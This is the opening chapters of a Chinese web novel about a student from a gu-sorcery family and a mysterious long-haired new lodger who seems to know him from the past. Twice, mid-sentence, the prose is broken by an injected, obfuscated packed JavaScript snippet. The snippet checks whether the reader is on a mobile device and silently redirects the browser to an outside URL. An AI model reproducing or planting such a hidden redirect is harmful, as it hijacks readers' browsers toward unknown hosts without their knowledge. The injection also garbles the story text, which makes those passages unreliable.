《骗你的,那晚我下的情蛊》 1. 初见 九月初,正是开学季,淮安市的天气热得让人焦躁。 暑气笼罩着这座城市,道路两边的梧桐绿叶在热浪中显得萎靡不振,沥青路被晒得烫脚,蝉鸣一茬接一茬,埋怨着今年夏天的漫长与煎熬。 A大校门口,私家车排成长龙,校车不停歇地将新生从车站接到学校。 整个学校热闹非凡,空气中弥漫着黏腻的热气,连风也带着温度。 教学楼下面拉着各个院系横幅,横幅下面学生会的学长学姐们忙得不可开交。 【爸爸妈妈现在已经安全上车了,家里也都打扫干净了,今晚新室友就搬来和你合租了,你记得留意一下敲门声】 收到妈妈发来的这条微信消息时,宁双刚好把一批新生带领到宿舍楼下办理完入住手续。 现在得了空闲,宁双就找了个凉快的地方,倚在墙边回消息。 他穿着棕色的短袖T恤,短裤过膝,小腿和臂膀的肌肉线条隐约可见,配上一米八的身高,显得坚韧有力。 但他的五官却清隽柔和,眉毛浓密,有一双澄澈明亮的杏眼,脸颊也有些泛红,说话时虎牙若隐若现,笑的时候唇边还会露出一对梨涡,是很招人喜欢的那种开朗长相。 宁双双手捧着手机,字打得飞快:【新室友叫什么名字?晚上几点到啊?】 妈妈很快回了消息:【他叫季淮之,至于晚上几点到,妈妈也不知道】 宁双发语音过去说:“你要不要问他一下啊?今天学生会的事太多了,我担心我忙到很晚才回去。” 他说话的声音清润又温和,比青年音多了些轻快。 于是宁双就看见对面维持着[对方正在输入中…]这个状态不动了,几分钟后,妈妈终于发来了消息:【妈妈没有他微信……】 宁双看见这几个字才猛地反应过来,他抬手拍了拍脑门,失算了,他忘了他爸妈因为社恐,租房的事全都交给中介打理了。 由于宁双出身巫蛊一族,即便现在他们已经不再接触蛊术,但因政策要求,宁双不能住在学校宿舍,于是父母就用多年的积蓄在校外给他买了一个小房子。 他们给宁双买的房子是一栋两层楼的小洋房,一楼是客厅、厨房和杂物间,二楼有三个大卧室,他们买这栋房子花费了不少钱,为了赚点宁双的生活费,他们决定租一个房间出去。 所以就有了现在这件事。 因为太害怕社交,他们甚至昨晚刚收到租客将要入住的消息,今天就收拾行李回村了,而这么做仅仅只是为了避开和租客打照面。 宁双无奈,只好发消息说:【那您把中介的微信推给我吧,我去问他要】 像是就在等宁双说这句话似的,消息刚发出去,妈妈就把中介的微信推了过来,还附赠了一个小兔子抱头逃跑的表情包。 宁双:…… 他加上中介,顺利问到了租客的微信。 租客的头像是一只树叶裁剪的蝴蝶,微信名是也是一个蝴蝶的表情包,就这点信息,他也看不出租客到底是个什么样的人。 【你好,我是你租的房子的房东,请通过一下】 宁双发送了好友请求过去,对面应该是在忙,没有立刻通过他的好友申请,宁双也不急。 作为学生会纪检部的副部长,宁双每天要忙的事情多得数不清,刚把新生送到宿舍里登记了入住,又收到要去学院拿文件的消息,宁双没有耽误,他把手机息屏装进口袋,快步往学院的方向走去了。 A大占地面积很大,如果走沥青大路,宁双至少要十多分钟后才能到学院办公室,所以岔路口前的宁双想都没想就选择了走竹林小路。 宁双走的这条青石板小路原本长满了杂草,后来因为一个怪谈谣言,这里就被学生们踩了一条路出来,如今学校辟了谣,可这条路却还在。 成了早八学生们赶时间的捷径。 或许因为是在阴凉的竹林小道里,这时候吹在脸上的风并不闷热,甚至还有一丝寒意,小道外面临河,河水哗哗地响。 新生开学,大二年级以上基本都在上课,新生并不会途径这条道,所以周围安静得只能听见风吹树叶的沙沙声。 这片竹林的后面,矗立着一栋破败的实验大楼,据说是当年有学生违规实验引发大火,死了好几个人,大楼也被烧得面目全非,学校索性就让这栋楼维持着这个样子,以警示后面的学生和老师。 宁双从这里抄近路,就一定会经过大楼的正前方。 脚下的枯竹叶被踩碎,发出咔嚓的断裂声。 实验大楼被后面高大的树木笼在树荫下,显得很凄凉,破败的大楼墙面爬满了爬山虎,风吹着爬山虎的叶,裸.露出来的墙体是被火熏的黑。 上面堆积的霉菌,像一张张堆叠在一起的鬼魅的脸。 宁双不由想起了上学期那个传得沸沸扬扬的怪谈谣言,说半夜来这里数实验楼前的台阶,原本二十级的台阶,如果被数出了二十一级,就可以进到大楼里面,用珍贵的物品向大楼的守护神换取一个愿望。 先不说这个传言离不离谱,就说半夜三更到这栋死过人的废弃大楼前面来数台阶,也真是闲得慌啊。 宁双如是感慨。 他本想加快脚步离开这里,但一缕掺着河腥味的吹刮过来后,他后颈突然传来了一阵刺痛,仿佛被蚂蚁叮了一口,宁双下意识地抬手拍向后颈。 却什么也没拍到。 他抬头看了看天空,竹林枝叶交错,湛蓝的天幕上飞过成群的大雁。 宁双摸着后颈,仰着脑袋往前走,因为没看眼前的路,他也就没注意到路边站着一个人。 以至于撞进了一片寒意里,这片寒意隔着薄薄的衣衫渗进了他的皮肤,同时一抹似初雪覆盖的檀木冷香钻进了宁双的鼻腔,伴着低沉的闷哼声,宁双耳尖一颤,立刻意识到,他撞到人了!! 他赶紧稳住身形,伸手去扶被他撞到的路人,只是那人却立马避开了他的手。 因此手里的书本便落了一地,一些纸张也被风吹散了。 被宁双这么一撞,那人脸色也不太好看,他有些气愤地用余光冷冷瞥了宁双一眼,就蹲下去捡被撞掉在地的书本。 宁双也只匆匆看了一眼这人的侧颜,他留着过肩的长发,被一条淡紫色发带松松束着,长发搭在肩侧,鼻梁很高,睫毛密长,浑身透着一抹不近人情的疏离感。 只是这一眼,宁双就仿佛是被某种力量定在了原地,而后他听见了自己惊天动地的心跳声。 几秒后,他反应了过来。 赶紧蹲下去帮忙捡起地上的书本,并连连道歉:“对不起对不起,我没有注意到你!” 性格使然,季淮之并不想和外人多言,他只埋着头去捡散落在地上的书本。 发丝垂下来,风撩动他的长发,不偏不倚,拂过宁双捡书的手的指尖,他的手一顿,呼吸也滞住了。 不敢多想,宁双赶紧伸长了手去帮忙捡书本。 臂膀不慎碰到了季淮之,季淮之有些烦心,对陌生人的抵触心达到了顶点,干脆站起身和他拉开距离,让宁双自己把剩下的书和纸捡起来。 他低下头去看宁双,视线却突然锁定在了宁双光洁的后颈上,在那块干净的皮肤中间,赫然印着一块指腹大小的,状似蝴蝶的胎记,比起普通胎记,这块胎记的颜色要更深一些。 季淮之垂在身侧的手指突然蜷起,喉结微微滚动,深邃的眸珠中荡开了一抹涟漪。 掉落的书很快就被宁双一一捡起来了,他起身双手将书本送了出去。 和季淮之对视上的瞬间,宁双似乎看见对方眼眸中一闪而过的淡紫色异光,他敏感察觉到,季淮之在审视自己。 “抱歉。”宁双小声说。 季淮之伸手将书本接了过去,说了句没关系。 现在这个距离看这张正脸,宁双呼吸不由一滞,对方拥有着一张趋近完美的脸,眉弓骨长,眼尾微微上挑,本该是魅惑人的眼型,但长睫毛掩出的阴影下,却因那一对晦暗神秘的墨色眸珠而显得冷峻,这样一张脸并没有一丝女气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094706|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他穿着很普通的白衬黑长裤,长袖挽到了小臂的位置,腰线收束完美,一双腿长得逆天,整个人散发着一种难以言喻的神秘感。 只是刚刚这人还是一副极为厌烦的态度,现在却好像是消了气,脸色也好了一些。 季淮之把书本简单整理了一下,抬手将鬓边的碎发别到耳后,转身就走了。 因着他的这个动作,宁双呼吸都慢了半拍,眸珠微缩,目光不自觉地停留在了他的脸上,而一愣神的功夫,对方的背影都快消失在视线里了,宁双这才慢慢收回目光。 他回忆了一下对方掉落的那几本书,所以那人是大一新生么? 宁双转过身,看了眼那栋废弃的实验大楼,满心困惑,新生来这里干什么? 只是眼下要赶去院系那边那文件,宁双来不及多想就匆匆离开了此地。 —— 宁双到院系拿到文件后被告知需要去另一栋教学楼找人盖章,找到负责盖章的老师后,他又被通知需要某个管理系老师的签字,于是宁双又去找那个老师。 找到老师又被通知得先回院系把签了字的证明文件拿到,一来二去,宁双像被踢皮球似的,在三栋教学楼之间来回转了两圈,最后一步才是去找院系的徐老师要盖章。 学校很大,教学楼和教学楼之间隔得也远,那些领导老师的办公室通常在最高的那两层,宁双楼上楼下,楼与楼之间来回跑,不见有多疲惫。 到了办公室门前,宁双见门虚掩着,刚抬手准备敲门,就听见里面传来有人说话的声音,宁双目光透过门缝看进去,隐隐看见徐老师和学校的一个大领导坐在一起,两人正和对坐的一人聊着天。 宁双这里只能看见这两位的侧脸,至于和他们说话的那人,因为被门遮住了大半,宁双并看不真切。 他也没有偷窥的意思,只是看见办公室内的人在忙,干脆就靠在墙边等里面的人谈完话。 里面隐隐传出一些对话。 “我们是绝对配合你的。” …… “其实学校的教师公寓也可以分给你住的,你现在住校外,平时来学校也不方便吧?” …… 倒一直是领导和徐老师在说话,对面的人偶尔回一句。 反倒让宁双有些好奇对面的那人身份了。 好奇归好奇,宁双还真不至于要看个仔细,不过手里文件的章还要盖呢,等了大概五六分钟,宁双就有些等不住了,他回到办公室门前,抬手敲响了房门。 里面一下就安静了。 徐老师来开了门,但没给宁双往里面看的机会,他迅速出来将门带上了。 “文件手续都齐了吗?”宁双来了两次,徐老师也知道这次宁双来是干什么的。 宁双赶紧点头,双手把文件递了出去,“都齐全了,您在后面盖章就行了。” 徐老师接过文件,说:“你就在这里等我,我去给你盖章。” 没有要宁双跟进去的意思,宁双也懂,所以点点头说好。 徐老师又开门进去了,还是照旧关紧了门,不过一分钟,他就拿着盖好了章的文件出来了。 宁双道完谢,徐老师就转身回了办公室,在他开门的刹那,宁双也转身离开了。 里面季淮之偏头看出去,正好看见宁双往旁边走的侧脸,他长睫颤了一下,随后面无表情地收回目光,淡淡启唇:“我会再去看看,你们先把那里封起来,不要让人进去。” “至于你们说给我安排教师公寓,我现在已经在校外找好房子了,你们也不要再问我了。” …… 手头的事务处理完后,宁双又匆匆赶往了校门口去接待新生和家长。 眼下是新生报道第二天,天气炎热,这个点到学校的新生和家长渐渐减少了。 宁双昨晚没睡好,刚刚又在几个楼之间来回跑,现在忙里偷闲,就在社团遮阳棚底下的躺椅上睡了会儿。 只是这一觉,非但没有给他补点精气神,反而让他更加疲惫了…… 2. 合租 窒息与绝望如无形的绳索,紧紧缠绕着宁双的颈脖,将他从噩梦中猛然拽醒。 刚睁眼时,宁双耳畔还回荡着此起彼伏的哭声,他撑着躺椅的边缓缓坐起了身,搭在身上的衬衫从胸膛滑到了腿上堆叠了起来,额角的密汗粘着碎发,梦境中发生的所有事都被这汗渍染得潮湿了。 又是那个梦,那个很真实、但宁双却根本没印象的梦。 在老家的祠堂外,并不好闻的草木香灰掺杂着浓郁的血腥味灌进鼻腔,他被母亲抱在怀里,母亲的哭声与周围那些人的哭声和在了一起,此起彼伏,宁双睁眼打量着周围哭泣的人,二叔,大姑,三婶…… 他们站在外面,祠堂里面传来长鞭抽打肉.体的声音,在祠堂正中间,跪着一个约莫十一二岁的少年,族长手中的长鞭毫不留情地落在了少年的后背,祠堂里一排排的蜡烛被挥舞的鞭子带起的风吹得摇曳不定,长鞭带出的血珠浇在了蜡烛的火焰上,发出“滋滋”的声音。 “逆子!”“你毁了他,也毁了你啊!”族长的语气很是愤怒,手上的动作也不见停顿半分。 宁双好奇地盯着少年,那人却突然回了头,他看不清脸,却偏偏对上了一双阴郁冰凉的眸珠。 阴冷的视线带着明显的侵略和占有,像一条从深渊地狱里爬出来的毒蛇,吐着蛇信子,从脊椎开始向上爬,最后紧紧缠绕上了宁双的脖子,寒气瞬间裹住了宁双,蛇身越来越紧,越来越紧…… 随后,他听见自己幼年的哭声与现实的喘息重叠,化作了刺耳的鸣声。 口袋里手机的消息提示音将宁双从噩梦中拉回了现实。 他摸出手机,看了眼手机屏幕,已经下午五点半了,刚刚的消息是群消息。 刚要看群里发了什么,一瓶冰冻过的水突然放在了他面前的桌上。 他顺着那只手抬起头,对上了一双狭长的英眼,站在他面前的人留着一头很考验五官的背头发型,全身上下都是价值不菲的名牌,俨然一副贵公子气。 “你咋了?流这么多汗?”看着宁双的满头大汗,陆宇洋忍不住问。 “刚刚睡觉做了个噩梦,不过你怎么来了?”宁双拿起水,打开瓶盖喝了一口。 陆宇洋一屁股坐到了桌上,“你不回我消息,我只好来找你了。” 宁双发出困惑的声音:“嗯?” 随即打开手机,看到了陆宇洋两个小时前发来的微信,问他人在哪儿。 “抱歉抱歉,我忙得没时间看手机。”宁双赶紧道歉,“你找我是有什么事吗?” 陆宇洋抱起手臂,坦然道:“我又和我爸吵架了。” 宁双看着他,挠了挠脸颊,试探着提建议:“那……晚上还是来我家?” “当然啊!放心,这次还是深夜去,不会和叔叔阿姨打照面的。”老实说,陆宇洋也挺想不明白的,一对社恐得几乎不愿意和任何人交流的夫妻,居然生下了宁双这样和狗都能唠上嗑的儿子。 宁双摆摆手,“不用不用,你等会儿和我一起回去吧,我爸妈回老家了。” 陆宇洋惊讶:“回老家了?那你以后不就是一个人住了?” 宁双摇头:“我们房贷不是还没还完吗?我妈就把家里空余的房间租了一间出去,所以现在家里加上我是两个人。” “那宁敦敦呢?带回去了?”陆宇洋问。 宁敦敦是宁双在菜市场捡的一只金毛。 宁双:“留下来陪我了,我爸妈没见过这么外向的狗,不敢带回去养。” “这样啊……”陆宇洋缓慢点头,是了,宁双曾说过,他住的村子是一个连动物都社恐的村子。 宁双拍了拍他的肩:“所以一会儿我忙完,你就和我一起回去吧。” 陆宇洋回头看了眼校门口稀疏的人,问:“你现在不是忙完了吗?” 宁双:“还没呢,过会儿我得去教学楼办点事,晚自习还要去登记寝室住宿名单。” 陆宇洋眼睛瞪大,立马替宁双打抱不平说:“学生会疯了吧?怎么什么都让你去做?” 宁双却一脸无所谓,还安抚他说:“没关系啦,这些都是小事,而且我没觉得很累。” 陆宇洋竖起大拇指表示佩服:“不愧是你。” 其实宁双这样对陆宇洋来说已经见怪不怪了。 军训成为标兵,班级竞争上团委,仅仅一学期就成为学生会纪检部的副部长,运动会多个项目都得奖,专业第一名,以及几乎所有宁双能参与的社团以及学校活动都没被他放过,因为爸妈社恐,宁双有时候回家还要去遛狗,就这他周末有时间还出去兼职…… 他的时间表满得一只蚂蚁都挤不进去。 重要的是陆宇洋还没听宁双喊过累,他仿佛是个不知疲倦、精力充沛的怪物。 虽然用这个词形容宁双不太好,但在陆宇洋贫瘠的词海里,一时半会儿也挤不出什么高级词汇来了。 “行吧,那我去休息室找个地方睡觉,你忙完给我打电话。”陆宇洋打着哈欠,伸了个懒腰就往图书馆的方向走了去。 “好!”宁双在后面跟他挥手道别。 夕阳的余晖落在了宁双的脸上,仿佛给他披上了一层橙金色的薄纱,教学楼白色的墙壁也染上了淡淡的金色,楼下的横幅被风吹得鼓动,一切都昭示着美好。 很快,夕阳余晖渐渐被掩藏在了天际的地平线下,橙金色的天空被一层深色的帷幕覆盖,教学楼亮起了灯光,凉风瑟瑟,树叶被晚风吹得簌簌作响,夜幕悄然降临了。 宁双登记完最后两个宿舍已经是九点左右了,刚好和陆宇洋赶上了回家的最新一趟公交车。 见宁双从上车后就盯着手机看,陆宇洋忍不住凑过去问:“你在看什么啊?” “唉。”宁双长叹了一口气,解释:“我妈说租客今晚到我家,但是他到现在都没通过我的好友申请,也不知道他到底什么时候到。” 陆宇洋无所谓地摊开手,耸了耸肩:“怕什么,我们这不是回家去了吗?” “就是担心他到了我家,又发现家里没人,那岂不是会给他留下不好的印象?”宁双担忧说。 陆宇洋看得很开:“那就是他的问题了,你早加他好友了,是他自己不同意申请啊。” “说得……也是。”被陆宇洋这么一说,宁双的担忧减轻了不少。 公交车五个站就到家了,宁双赶紧跑到了家门口,还好这里没有孤零零坐着等他的租客。 他拿钥匙打开门,一只金毛犬嗖地钻出来绕着宁双转圈,尾巴都要转成螺旋了。 “敦敦,宁敦敦。”宁双蹲下去揉了揉宁敦敦的脑袋,宁敦敦兴奋得将他手挨着舔了个遍。 陆宇洋慢悠悠走到门前,“你看,我说租客没到吧,你跑得那么急。” 宁双拉着宁敦敦脖子上的项圈往屋里走,“我这不是担心嘛。” “宁敦敦,回房间去。”宁双松开手,把宁敦敦叫回了房间。 陆宇洋去冰箱里拿了两罐可乐,跟着宁双一起上了楼。 现在是晚上时间九点半,租客还是没同意宁双的好友申请,宁双都开始怀疑是不是中介转述错了,但陆宇洋招呼着他玩游戏,宁双也就没有去过问中介。 两分钟后,他习惯性看了眼手机,发现对方终于通过申请了。 宁双抓了抓脑袋,主动介绍了自己的身份名字。 聊天界面立马弹了一条消息出来—— 【[蝴蝶]:你好,我到了】 宁双:? 他唰的一下丢掉游戏手柄,站起了身,身边打着游戏的陆宇洋抬头看向他,一脸疑惑:“干啥啊这是?” 宁双走去穿拖鞋,解释说:“租客发消息说他到了,我下去给他开门。” “那我和你一起?”陆宇洋把游戏暂停,也收起了手柄。 “我先下去,你把宁敦敦也带下来吧。”宁双穿好外套,飞速跑下了楼。 刚到客厅,宁双后颈又是一阵刺痛,和白天那种刺痛感一模一样,他摸着后颈,上前打开了房门。 夜风灌进来。 宁双额前的碎发被拨开,他的眼睛比夜晚的星星还要明亮。 “您好……”异香馥郁过来,宁双问好的话卡在了喉咙间,时间仿佛禁止在了这一刻。 门口的人身边立着一个黑色行李箱,穿着一件简单的白衬,外面搭着普通的风衣,过肩的长发被风撩动,还是那张冷淡的脸,气质卓然。 “是你?!”宁双缓过神来,声音拔高了很多,震惊余更多的是惊喜。 反观季淮之的脸色却是一如既往的平静,他淡淡道:“你好。” 看那神情好像没认出宁双似的。 宁双却不在乎,他耳畔飞快地攀上了一抹红晕,心脏扑通跳不停,他赶紧侧身给季淮之让开了道,“快进来吧,抱歉,你在门口等很久了吗?” 季淮之扫了一眼客厅,如实道:“等了五分二十三秒。” “五分钟?!你怎么不敲门呀!” 季淮之坐在了沙发上,认真说:“我敲了。” “啊?”宁双估计那时候自己忙着打游戏,所以没听见,“对不起,我没听见,还好你微信和我说了。” “我没生气。”听见宁双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094707|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道歉的话,季淮之便回了一句。 听见季淮之这样说,宁双松了口气,起身说:“你过来辛苦了,我去给你倒杯水。” 说完宁双走去了书房,这时陆宇洋也踩着拖鞋带宁敦敦下了楼,他懒洋洋地对宁双说话:“宁双,再给我拿一罐可乐出来。” “好。”宁双回应的声音从厨房传出来。 陆宇洋走去沙发坐下,和一边端坐着的季淮之对视了上,那双神秘漠然的眸珠盯得陆宇洋后背一僵,直觉告诉他,眼前这个人似乎不简单。 宁双很快出来了,他把可乐递给陆宇洋,温水被他送到了季淮之跟前。 “你先喝点热水休息一下吧,等会儿我就带你去看看房间。”宁双坐在了沙发对面,四处张望了一眼后问陆宇洋:“宁敦敦呢?” 陆宇洋喝了一口可乐,说:“不是跟着下来了吗?” 宁双想着得把宁敦敦关进笼子里,免得它的热情吓到季淮之这个租客,但平时见人就撒欢的大狗却不知道躲哪里去了。 “宁敦敦?”“宁敦敦——”宁双起身喊了几声,宁敦敦这才从角落里慢吞吞走出来,尾巴耷拉在腿后,走到宁双脚边后就蹲在了地上,它蹭了蹭宁双的腿,完全没了平日里的热情。 “嗯?怎么了?不是刚吃完饭吗?”宁双摸了摸它的脑袋,宁敦敦抬起头,吐着舌头看季淮之。 宁双顺着它的目光看出去,对上了一双平静深邃的眸珠,季淮之安静坐在沙发对面,不知道是在看狗还是在看宁双。 两人的视线在空中交汇,季淮之淡定自若地移开目光,开始有意无意打量起了客厅。 这栋房子足够大,两个人生活是完全够的,客厅的装修中规中矩,在餐桌和客厅之间横着一个很大的置物架,那上面摆着许多宁双的奖状和奖杯,还有宁双和家里人的合照,以及一张和好友陆宇洋的合照。 季淮之目光在那张合照上面停顿了一下。 此时宁双正要继续和季淮之说话。 他却突然回过头问:“我的房间在哪里?” 也不知道怎么回事,季淮之刚回屋的时候脸色还好,现在又多了些阴霾。 但宁双没时间想那么多,他赶紧站起身说:“在楼上,我先带你回房间,你早点休息吧。” 他说完又主动扛起沙发边上的行李箱,抬脚往楼上走了去,小臂上的肌肉也因此绷出了完美的线条。 季淮之站起身,余光似是无意间瞥了眼沙发上的陆宇洋,随后才跟着上了楼, 季淮之身段很好,走路的脚步极为轻盈,家里的楼梯是木质的,他踩在上面,甚至没有发出一点声音。 宁双把季淮之带到了一间空房间里,房间整洁干净,和自己的房间仅仅隔了一间公卫。 “以后你就住在这间房里,和我是挨着的,要是有什么意外情况或者其他的事,你直接来找我就好了。”宁双打开了房间的灯,房间的布置映入了眼帘。 里面东西不多,一张宽大的床,靠墙是衣柜,靠窗有书桌,其余就没有多余的装饰了,就算还要添什么,季淮之自己拿主意就行了。 季淮之并不追求睡觉的环境,对他而言,睡觉只是一个生理需求,而睡觉的地方并不能影响他的睡眠质量,毕竟他很小的时候就开始在毒虫密布的林子里睡觉了。 “可以。”季淮之简单扫了眼房间,颔首应道。 宁双踟躇了一下,又觉得该交代的都交代得差不多了,所以他慢慢后退到门边,手搭在门把手上面,“要是还有什么问题,可以在手机上问我,早点休息。” 他说完转身离开了房间,顺便轻轻带上了门。 季淮之立在原地,踩着拖鞋下楼的声音,然后就是宁双和他朋友说话的声音。 “你和他聊完了?” “嗯嗯,交代完了。”宁双回。 “那我们继续玩游戏吧。” “我先看看敦敦咋回事,是不是生病了,刚刚一副不搭理人的样子。” “我看着没啥事,你看,这不又闹腾起来了吗?” …… 季淮之走去窗边,打开了窗帘,落地窗外面一片漆黑,弦月挂在天际,他打开窗户,拂进来的夜风撩起他的长发发丝,又轻轻落下,在玻璃倒影里,那双深邃的眸珠划过了一丝淡紫色的暗光。 他来这里,倒是没想到会这么快就和宁双见上了面,距离七年还差三个月,他原本打算最后一个月再去找宁双的,不过提前遇上也不算坏事,只是宁双竟然真的记不得他了。 虽然是意料之中的事,但季淮之心脏还是不自觉地抽痛了一下。 3. 禁蛊 夜深了。 月光透过阳台玻璃窗,洒在了床上,似一层轻薄的银白面纱铺在了上面,但此刻床上空荡荡的,被褥也如初叠着,行李箱安安静静地靠在墙角,房间里空无一人。 隔壁房间,宁双收好游戏机,起身打算把宁敦敦带到楼下客厅去睡觉。 陆宇洋靠在椅子上玩手机,听见开门的动静,头也不抬地说:“记得帮我倒杯水上来。” 宁双将宁敦敦赶出房间,回头接话:“知道了。” 随后离开了房间,然而,却在转身的刹那,看见旁边立着一个身量高大的人影。 走廊的灯光很昏暗,宁双还没来得及看清对方的脸,只注意到他一双深邃的眼泛着诡异的幽光,整个人像从某个不见光的深渊里爬出来的,浑身散发着阴郁的冷气。 宁双只觉得这样的眼神好像在哪里见过,一时被吓得心脏猛地一跳,下意识后退了几步。 定下心神后,他才看清眼前的人竟然是季淮之。 季淮之依旧穿着刚到这里时的衣裳,身上带着夜晚的寒意,看起来像刚从阳台吹完夜风回来。 宁双不知道他在这里站多久了,但看清楚对方是认识的人以后,还是松了口气,他拍着胸膛说:“是你啊?你怎么在这里?你有事找我吗?” 虽然只认识了这么几个小时,但宁双已经感觉出季淮之是个话少得可怜的人了,干脆主动开口和他说话,一连问了三个问题。 季淮之余光不经意扫过了宁双的房间,墙角放着一个吉他,墙面上挂着很多照片,书桌摆着两张电竞椅,陆宇洋坐在其中一张上玩游戏。 昏暗的灯光不足以让宁双看清季淮之神情的变化,只隐约察觉对方周遭的气压好似低了不少。 半分钟后,季淮之掀唇:“我出来喝水。” 声线极冷。 “是没找到地方吗?”宁双猜测问,随后又转身往楼下走,“你跟我来吧,我去给你倒水,顺便带你熟悉一下咱们家。” 宁双话音刚落,身后的季淮之像是捕捉到了什么关键词似的,突然掀起眼皮,视线落在了宁双的后颈上。 他的衣服还没换下来,领口下是麦色的皮肤,一枚蝶状的淡色印记乖乖躺在其中。 走到楼下,宁双发现先跑下楼的宁敦敦又主动蹲回了笼子里,他有些困惑宁敦敦今天怎么这么懂事。 “这边墙上就是饮水机,纸杯在这个挂篮里面取。”到了厨房,宁双主动取纸杯给季淮之倒了一杯温水。 “谢谢。”季淮之接过水杯,两人指尖相触,宁双觉得季淮之的手比外面的晚风还要凉。 季淮之抿了一口水。 他实在好看,五官比例完美,眉骨有些凌厉,眼尾上挑,眸色却显得疏离淡漠,睫毛在眼下掩出扇形阴影,薄唇沾着水渍,长发落在肩上,给他这个人增添了许多清冷感。 宁双差点看得走神了。 “咳咳。”他赶紧轻咳一声以掩饰自己的失态,“这边是碗橱,厨房用具都在这里,你会做饭吗?” 季淮之点头:“会。” “那你以后可以随意使用这些。”宁双两手叉在腰间,语气格外大方。 随后他又带着季淮之在家里其他地方转了转,甚至连怎么去学校最方便的路线都告诉给了对方。 “差不多就是这些了!你还有什么疑问吗?” 季淮之想了一下,“家里的钥匙,可以给我一把吗?” “啊,对!”季淮之不提,宁双就差点忘了这事了,他赶紧走去玄关打开抽屉,从里面拿了一枚钥匙出来,递到了季淮之的手里。 “这是咱们家钥匙,你记得拿好。”他说。 季淮之接过钥匙,又撩起眼皮,视线在宁双的脸上停留了两秒,随后他抬手将钥匙装进了口袋里,唇角上扬了几分,说:“谢谢。” 两人一起上了楼,宁双把季淮之送到房间,还顺便帮忙检查了一遍房间的门窗和浴室热水器。 最后他走去门口和季淮之道别:“晚安季淮之,明天见!” 季淮之点点头,语气轻和:“晚安。” 宁双说完便带上门离开了,季淮之站在原地,听见宁双打开了隔壁房间的门,走进去,再关上了门的全部过程的声音。 他的心渐渐归于宁静,最终成了一汪静水潭,波澜不惊。 —— 宁双回到房间关上了门,将手里的矿泉水扔给了陆宇洋。 “怎么去了这么久?” 宁双走到衣柜前,“遇见那个租客出来喝水,我就顺便带他熟悉了一下我家。” 他说完抬手将身上的T恤脱了下来,宁双在上大学前学过体育,所以身上的肉长得很匀称,腰腹紧致,背骨凸起,小臂和小腿都有着明显的肌肉线条,不过衣服一穿上就看不出来了。 他从衣柜拿出睡衣套在了身上。 陆宇洋收回目光,平躺在了床上,他盯着天花板上的花纹,突然说:“你和他今晚不是第一次见面吧?” “咳咳咳……”宁双被他突然的一句话呛得直咳嗽。 一脸“你怎么知道的”表情看着陆宇洋。 陆宇洋坐起身,两根手指曲起,在眼睛上比划了一下:“我的眼睛就是尺。” 宁双听完嗖的一下跳上床,盘腿坐在了陆宇洋对面,压低声音说:“那我和你说了,你不要告诉别人。” 陆宇洋皱着眉猜测:“他是你前任?” “乱说什么呢!”宁双照着他肩膀锤了一拳,将自己不小心撞到对方的事告诉给了他。 “那也就是撞了个人而已,你遮遮掩掩干嘛?”很显然,陆宇洋没明白宁双现在脸红的原因。 宁双看着他,“我觉得他很好看。” 陆宇洋点头认可:“这点我承认。” 宁双就不说话了,他抿直了唇看着陆宇洋,此刻陆宇洋终于反应了过来,“你该不会??” 宁双赶紧把手抬起来,做了一个噤声的动作,压着嗓音说话:“嘘嘘嘘,不要说出来,墙不隔音!” “你来真的啊?”陆宇洋一脸意外。 其实宁双是同性恋这件事,还是陆宇洋大一下学期才知道的。 倒不是他有意瞒着身边人,而是他的为人处世,性格心性,审美那些都不太像一个同性恋。 用陆宇洋的话来说,宁双就算是弯的,那他也是“直角”弯,虽然弯,但笔直地弯。 直角怎么不算弯的呢? 宁双理直气壮了起来:“我本来也是喜欢男人的好吧?而且他那么好看,我喜欢很正常啊。” “行行行,原来你是色迷心窍了。”陆宇洋敷衍道,“难怪刚在楼下的时候,我说你一个娇羞劲干嘛?” 面对陆宇洋调侃自己娇羞,宁双也没生气,他经得住自己好兄弟的这些无足轻重的玩笑话。 陆宇洋则拿手机翻看了起来,没半分钟,他把手机拿给了宁双看,“查到了。” “商学院新生,以专业第一名成绩进来的,他这个成绩……进我们学校是屈才了啊。” 宁双滑动着他的手机屏幕,那是季淮之的入学资料卡。 以陆宇洋的家境和身份,查到这些东西只是分分钟的事。 “对了,还有今天下午的两个帖子。”陆宇洋把手机拿过去操作一番,又递给了宁双,“学校贴吧有两个帖子都是在捞他。” 路人偷拍的角度千奇百怪,不变的是镜头下季淮之那张近乎神迹的脸。 宁双捧着手机,睫毛轻轻颤动,手机光打在他脸上。 “他真好看。”两分钟后,宁双抬起脑袋对陆宇洋嘿嘿一笑。 陆宇洋:…… “你憋了半天就憋出这句话?”他把手机拿了回去。 宁双瘫倒在了床上,他盯着天花板说:“你给我看这些不就是说以后我会有很多情敌吗?” “但现在他和我住在一起,我也顺利加上了他的微信,比起那些人,我现在已经有近水楼台的优势了。”宁双将季淮之的微信翻出来,得意地在陆宇洋面前晃了晃,心态真是好得不行。 陆宇洋被宁双的手机光晃得眼睛疼,趁乱瞥了一眼后却突然抓住了他的手腕,“等等。” 陆宇洋表情变得严肃了起来。 “怎么了?”宁双手不敢乱动了。 陆宇洋拿过宁双的手机,点开季淮之的头像,看着那张树叶裁剪的蝴蝶,皱着眉想了好一会儿后才想起来,“这个蝴蝶的样式和你后颈的胎记有点像。” 